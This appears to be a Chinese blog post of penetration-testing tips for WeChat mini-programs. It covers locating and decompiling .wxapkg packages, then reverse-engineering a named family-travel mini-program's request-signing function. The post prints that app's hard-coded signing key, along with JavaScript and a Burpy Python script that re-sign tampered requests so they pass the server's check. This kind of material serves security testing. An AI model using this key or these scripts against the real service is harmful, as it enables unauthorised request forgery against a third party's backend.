美文网首页Web攻防
微信小程序渗透Tips

微信小程序渗透Tips

作者: book4yi | 来源:发表于2024-03-23 15:59 被阅读0次

    前言:


    吃梅菜扣肉,喝听花白酒,撸淀粉肠子,品怨种人生。

    小程序反编译:


    0x01、获取代码包:

    PC端:默认存储位置:%USERPROFILE%\Documents\WeChat Files\id\APP_.wxapkg就是我们要找的加密包
    移动端:/data/data/com.tencent.mm/MicroMsg/xxxxxxxxxxxxxxxxxxxxxxxx/appbrand/pkg

    0x02、解密代码包

    目前因为微信更新了,需要使用unveilr来进行反编译:

    反编译成功后,会在当前目录下生成一个 APP文件夹,这里面就是小程序源码。

    可以使用微信小程序开发者工具打开:

    0x03、sign签名绕过:

    这里以父母邦亲子旅行酒店营地乐园活动小程序为例,在修改手机号处进行测试,观察到数据包如下:

    当我们修改请求体中的数据再发送会提示签名失败,这时我们翻阅它的源码,看看这个sign是如何生成的:

    整个 create_sign 函数的目的是将对象 r 的所有有效属性(除去某些特定属性)的所有内容按照键值对顺序排序、拼接成字符串并存储到数组 e,最后与传入的 t 参数连接起来进行MD5哈希运算,生成最终的签名。

    按照上述请求包,最后得到的值是:phone_num=15xxxxxxxx5&scene=1256&version=3.3.13d19e4abd1036063faa4218c139378c0e

    返回值为9a811d3130600d1399945346c59c0c07,可以发现是md5加密,未加盐。

    编写js,引用该方法:

    "use strict";
    var a = require("./md5.js");
    var i = {"phone_num":"15xxxxxxxx5","scene":1256,"version":"3.3.13", "appid":648481988}
    i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e");
    console.log(i);
    

    0x04、burpy插件使用:


    在分析加密方式后,如果是自己写脚本或通过网站加解密再粘贴到burp中进行测试,都十分麻烦。因此,可以考虑结合burpy插件来进行漏洞测试。

    脚本编写:

    def encrypt(self, header, body):
        '''
        Auto Enc/Dec feature require this function
        '''
        enc_str = ''
        json_body = json.loads(body)
        json_body['sign'] = 'aaaaaaaaa'
        for key,value in json_body.items():
            if key not in ['sign', 'appid', 'imgupload', 'version']:
                enc_str += key + '=' + str(value) + '&'
        enc_str += 'version=' + str(json_body['version']) + 'd19e4abd1036063faa4218c139378c0e'
        json_body['sign'] = self.md5_enc(enc_str)
        return header, json.dumps(json_body)
    
    def md5_enc(self, data):
        md5 = hashlib.md5()
        md5.update(data.encode('utf-8'))
        result = md5.hexdigest()
        return result
    

    补充:此处代码还需要完善,因为enc_str涉及到排序的问题,可能需要多次测试来进行确定。

    在Burpy PY file path:里面指定好你自己的python脚本。本身Burpy也提供了脚本模板,可以直接在它的脚本模板中进行修改

    这里选择打开enable auto enc/dec会自动调用encrypt方法,在点击重放时自动进行加解密。

    参考文章:


    奇安信攻防社区-小程序绕过sign签名思路
    小程序绕过 sign 签名

    相关文章

      网友评论

        本文标题:微信小程序渗透Tips

        本文链接:https://www.haomeiwen.com/subject/gbtctjtx.html